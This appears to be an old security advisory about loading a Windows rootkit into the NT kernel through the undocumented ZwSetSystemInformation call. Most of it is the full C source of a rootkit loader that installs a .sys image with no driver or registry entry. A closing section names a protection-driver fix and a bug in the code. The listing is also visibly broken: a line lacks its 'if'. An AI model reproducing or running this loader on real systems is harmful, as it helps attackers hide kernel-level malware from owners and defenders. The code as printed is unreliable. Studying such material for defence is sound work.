COMMAND

    SystemLoadAndCallImage

SYSTEMS AFFECTED

    Win

PROBLEM

    Greg Hoglund found following.  For a while there has been a thread
    on  NTBUGTRAQ  mailing  list  about  kernel-mode  protection  from
    rootkits.  This is good  - the whole point of  rootkit.com project
    is to get people thinking  about the problem.  For  example, there
    is now an ANTI-Rootkit  (called Integrity Protection Driver)  from
    Pedestal Software.

    At the  Blackhat Briefings  this year,  more than  a couple  smart
    people talked about how  many ways you can  load code into the  NT
    kernel - the  obvious reaction to  the whole "anti-rootkit"  idea.
    Most  of  the  rootkit  developers  were  in  on this - so authors
    decided to change the windows rootkit in response.

    Up until now, the windows rootkit  has been a driver.  BUT,  there
    is no  reason that  a rootkit  has to  operate as  a driver - or a
    loadable module.

    Last  year  Greg   released   rootkit  to  prove  that   user-mode
    'integrity' software is completely meaningless.  Think about it  -
    anyone  who hacks your  system is   going to  be able  to load   a
    kernel  mod - period.  This  is 100% guaranteed.   If an  attacker
    gets into   your system   using  a   user-level    account,   they
    will   then    obtain administrator  - which  has all   the  power
    you'll ever need  to load kernel-mode code.  Given  this fact,  it
    is  easy to see that  your 'host' based solutions  are  completely
    vulnerable  to modification without your knowledge.

    The idea of putting your  integrity protection into the kernel  is
    a very good one  - but that isn't  going to be done  'right' until
    Microsoft  does  it  themselves.   And,  _when_  they  do, a whole
    'security' market vanishes.

    One of the ideas presented to load kernel mode code was to use  an
    undocumented  entry  point  into   kernel-space  -  such  as   the
    /dev/physicalmemory   device,    or    a   syscall    that    uses
    'SystemLoadAndCallImage'.   Greg could continue to beat this down,
    but  the  fact  is  there  is  no  OS-supported  leverage point to
    control access into kernel mode  - and becuase of this,  new entry
    points can always be discovered.

    Assuming Microsoft actually fixes  the NT architecture to  protect
    against this sort of  thing - there is  still the idea of  finding
    buffer overflows in the kernel  itself.  Every third party  driver
    you  install  opens  you  up  to  possible  buffer  overflows thru
    IOCTL() commands and  even normal read/write  messages.  Even  the
    default drivers in NT may be vulnerable to this.

    While the  rootkit was  being handled  as a  driver, Greg used the
    service control manager to load  or remove the driver from  kernel
    space.  This is standard, and it requires that the rootkit  driver
    have a registry key in the CurrentControlSet/Services tree.   This
    has been changed.  Greg has changed the rootkit such that it loads
    into kernel space with  no driver or registry  key required.    No
    longer  use  the  service  control  manager.  Instead, rootkit now
    loads into  kernel memory  using a  single interrupt  call - an NT
    system call  known as  ZwSetSystemInformation().   Using this call
    you cause  the rootkit  to be  immediately loaded  into memory and
    activated.

    SourceCode:

    ////////////////////////////////////////
    // New Deployment Module for rootkit 040
    // -------------------------------------
    // -Greg Hoglund http://www.rootkit.com
    ////////////////////////////////////////
    #include <windows.h>
    #include <stdio.h>

    typedef struct _UNICODE_STRING {
        USHORT Length;
        USHORT MaximumLength;
    #ifdef MIDL_PASS
        [size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer;
    #else // MIDL_PASS
        PWSTR  Buffer;
    #endif // MIDL_PASS
    } UNICODE_STRING, *PUNICODE_STRING;

    typedef unsigned long NTSTATUS;
    #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

    NTSTATUS (__stdcall *ZwSetSystemInformation)(
      IN DWORD SystemInformationClass,
      IN OUT PVOID SystemInformation,
      IN ULONG SystemInformationLength
      );

    VOID (__stdcall *RtlInitUnicodeString)(
      IN OUT PUNICODE_STRING  DestinationString,
      IN PCWSTR  SourceString
      );

    typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE
    {
     UNICODE_STRING ModuleName;
    } SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE;

    #define SystemLoadAndCallImage 38

    void main(void)
    {
     ///////////////////////////////////////////////////////////////
     // Why mess with Drivers?
     ///////////////////////////////////////////////////////////////
     SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;
     WCHAR daPath[] = L"\\??\\C:\\_root_.sys";

     //////////////////////////////////////////////////////////////
     // get DLL entry points
     //////////////////////////////////////////////////////////////
     if( !(RtlInitUnicodeString =
      (void *) GetProcAddress( GetModuleHandle("ntdll.dll"),
      "RtlInitUnicodeString" )) )
      exit(1);

     if( !(ZwSetSystemInformation =
      (void *) GetProcAddress( GetModuleHandle("ntdll.dll"),
      "ZwSetSystemInformation" )) )
      exit(1);

     RtlInitUnicodeString(  &(GregsImage.ModuleName),
        daPath );


    NT_SUCCESS(
      ZwSetSystemInformation(  SystemLoadAndCallImage,
          &GregsImage,
          sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)) ))
     {
      printf("Rootkit Loaded.\n");
     }
     else
     {
      printf("Rootkit not loaded.\n");
     }
    }

SOLUTION

    1. A new release of IPD now traps the ZwSetSystemInformation  call
       and prevents rootkit.com's latest rootkit.  Get the developer's
       version at

        http://www.pedestalsoftware.com/intact/ipd/index.htm

    2. rootkit.com's  code has  a bug.  On line  19, it  says "typedef
       unsigned  long  NTSTATUS"  when  that  should  be "typedef long
       NTSTATUS".   Otherwise, the  macro on  line 20  will always  be
       true since an  unsigned value is  always greater than  or equal
       to 0;  this means  you will  never know  when the rootkit fails
       to load.